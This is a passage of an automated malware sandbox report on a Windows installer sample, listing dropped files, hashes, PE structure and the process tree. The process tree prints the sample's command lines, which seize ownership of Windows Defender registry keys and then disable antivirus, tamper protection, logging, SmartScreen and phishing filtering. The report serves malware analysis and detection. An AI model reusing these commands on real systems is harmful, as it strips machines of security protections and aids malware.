/t reg_DWORD /d "1"

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.2959870663251625
Encrypted:	false
SSDEEP:	96:JwzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuH0DQ:JTQHDb2vSuOc41ZfUNQZGdHM
MD5:	B4579BC396ACE8CAFD9E825FF63FE244
SHA1:	32A87ED28A510E3B3C06A451D1F3D0BA9FAF8D9C
SHA-256:	01E72332362345C415A7EDCB366D6A1B52BE9AC6E946FB9DA49785C140BA1A4B
SHA-512:	3A76E0E259A0CA12275FED922CE6E01BDFD9E33BA85973E80101B8025EF9243F5E32461A113BBCC6AA75E40894BB5D3A42D6B21045517B6B3CF12D76B4CFA36A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse Filename: rSCAN31804.exe, Detection: malicious, Browse Filename: rSCAN31804.exe, Detection: malicious, Browse Filename: SCAN00381638.SCR.exe, Detection: malicious, Browse Filename: SCAN00381638.SCR.exe, Detection: malicious, Browse Filename: setup#U67e5#U770b.exe, Detection: malicious, Browse Filename: BxBT7a2sCE.exe, Detection: malicious, Browse Filename: f1vPbtLjJn.exe, Detection: malicious, Browse Filename: PO 345504521#.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L...Q.d...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.8201777744499874
Encrypted:	false
SSDEEP:	48:6isDgDtjQHbc6akyAnx2mMM4ife1QivkZZtMlDIra569FHpfbNtm:X1JQpjVfeT1+fzNt
MD5:	6B1213639BC5FFC4F1AF8C17420D4B1F
SHA1:	EE2D622099FB19A8ED7E1C6137F60AC86FA65486
SHA-256:	1FA9E2264B4954F01A83F6A4E8BC7982516091E0FB0C6A2F6154FA87164148B7
SHA-512:	03A81297F140B0428636452075C1465D895485268BA243B03562495A5FF46CD392EF8D1A13D0C738D2CF3B560D0EF73AFCC63F210B3BDBF4D931E2E204CF4498
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 5%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Q..e.........."...0..............'... ...@....@.. ....................................@..................................'..O....@.......................`......X&............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H........ ...............................................................0..$.......s............o.......,..o.......&...................... ........(....BSJB............v2.0.50727......l.......#~..P...h...#Strings............#US.........#GUID...........#Blob...........G..........3....................................................................d.....8.......................k.....7.....P...........x.....V...........L.....^.S...5.......................'.=.....P ..........

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe.config

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.066733139951878
Encrypted:	false
SSDEEP:	6:TMVBd1IGMfVymRMT4/0xFCqa7VNQA1Q7VJdfEyFRfyrhAW4QIm:TMHdGGsVymhs8rzcrfyW3xm
MD5:	4E15196F1F466FB6200550D7F678BB9D
SHA1:	F474593BCC3148464D6DE0E0D3DF58C76A9718AB
SHA-256:	5C3A338369C8B23A7021732FB167AB0FCB3C4BE9B6EEC7A726C8D9875890CCC1
SHA-512:	6B3E8C65D3ECCC1DBF32C957CDC0AB05E85680603ED43587194E93B4117292290085A14D1711872B1C6277159E50E409EEFDA813A13FC314A63BEC6DE2D95E43
Malicious:	true
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup useLegacyV2RuntimeActivationPolicy="true"> .. .. <supportedRuntime version="v2.0.50727"/><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0,Profile=Client"/></startup>..</configuration>..

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\win_version_csharp.exe

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.655569464152001
Encrypted:	false
SSDEEP:	96:/uidPNKO2mkcQ7DBOrkB0kPkKXwF4dkd8Nue3qYMns1BjgtRQWWzNt:FIOu7DBOrkB0kPkKXwF4dkd8Nn34nUBR
MD5:	7CB364701028767F8942CC3F8439F8F2
SHA1:	D6BEDE2206B7042B4CAE32F416E1B43FFAC94238
SHA-256:	A2716605F8DD1930808E6918DB670A3FE32287791862883DBABD26849B87B09E
SHA-512:	3011B3D64F79280AB05DE9658C4F5A13F637AD2E79D5770CFAEB3AF6CB8C7A56B610DAD69FDF295112BE64CFB80E18F30BB1829EB3C0E549105F63D0E770DC13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dK............"...0.............:-... ...@....@.. ....................................`..................................,..O....@.......................`......P,..8............................................ ............... ..H............text...@.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P!...............................................................0..V.........(....,Lr...p......%..{..........%..{..........%..{..........%. ]X..(..........(......(.......0..Z.........}......}......}.............. ....}......(....-&..{....}......{....}......{....}.........0............(....,..{.............(....*BSJB............v4.0.30319......l.......#~..L.......#Strings.... ...$...#US.D.......#GUID...T.......#Blob...........W=.........3................#.......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.975632365239815
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ms63nDrOBa.exe
File size:	902'871 bytes
MD5:	ad3a57927668a9560b5f01d7ff54c881
SHA1:	d0c66b9b5e5f58baff91f23f91a67fd3e8359662
SHA256:	efc2d3750186e0038a9bfb4e292298f92bce9f80d2af0a992a3e5fe0c9f29ecf
SHA512:	5d9f7f4c416a98cc2642e902fdbff240eca85e834021bbe6d29b1a1f892eaebea338254cd7354bce3c89d2ce0c47a8a5c72d94babf5ee34e04960648fcdc5733
SSDEEP:	24576:MGxOmgcf/CoFPz8s43+ae4Y9hJ9HFtMr6lLwLkM0VP90esL:Xx/zCoZz943+YaJNFtM+5wL3AP9KL
TLSH:	761523BEA3C9D877E1E312700B5905750BD25E166D98893AE7933CC8B737702AB6D306
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!.@.@...@...@../O...@...@..O@../O...@...c...@..+F...@..Rich.@..........................PE..L...Y..d.................h....:....

File Icon


Icon Hash:	202c38303420a0cd

Static PE Info

General

Entrypoint:	0x40350f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC59 [Sun Jul 2 02:09:29 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F60F52306EAh
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F60F52306B8h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [007A8318h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3e0000	0x42a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x66b1	0x6800	fc80ef3332ba3a0dd802b98a9723e67d	False	0.6719501201923077	data	6.466881320096335	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1358	0x1400	f0b500ff912dda10f31f36da3efc8a1e	False	0.44296875	data	5.102094016108248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39e378	0x600	89ffa2c22129e298ad6a3abf19eb19b0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x37000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3e0000	0x42a8	0x4400	8fd15985020fbabc749233d6fb67da82	False	0.3312844669117647	data	5.175218885302942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3e01f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.3017634854771784
RT_ICON	0x3e2798	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.3651500938086304
RT_ICON	0x3e3840	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.5336879432624113
RT_DIALOG	0x3e3ca8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3e3da8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3e3ec8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3e3f28	0x30	data	English	United States	0.8333333333333334
RT_MANIFEST	0x3e3f58	0x349	XML 1.0 document, ASCII text, with very long lines (841), with no line terminators	English	United States	0.5517241379310345

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 12, 2024 09:53:32.590533972 CEST	53	55636	1.1.1.1	192.168.2.6

Target ID:	0
Start time:	03:53:11
Start date:	12/07/2024
Path:	C:\Users\user\Desktop\Ms63nDrOBa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ms63nDrOBa.exe"
Imagebase:	0x400000
File size:	902'871 bytes
MD5 hash:	AD3A57927668A9560B5F01D7FF54C881
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:53:12
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:53:12
Start date:	12/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:53:12
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:53:12
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:53:12
Start date:	12/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:53:12
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:53:13
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:53:13
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:53:13
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:53:13
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:53:13
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
Wow64 process (32bit):	false
Commandline:	SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
Imagebase:	0x7ff7c1700000
File size:	616'312 bytes
MD5 hash:	1FB64FF73938F4A04E97E5E7BF3D618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:53:14
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Imagebase:	0x4b0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:53:15
Start date:	12/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
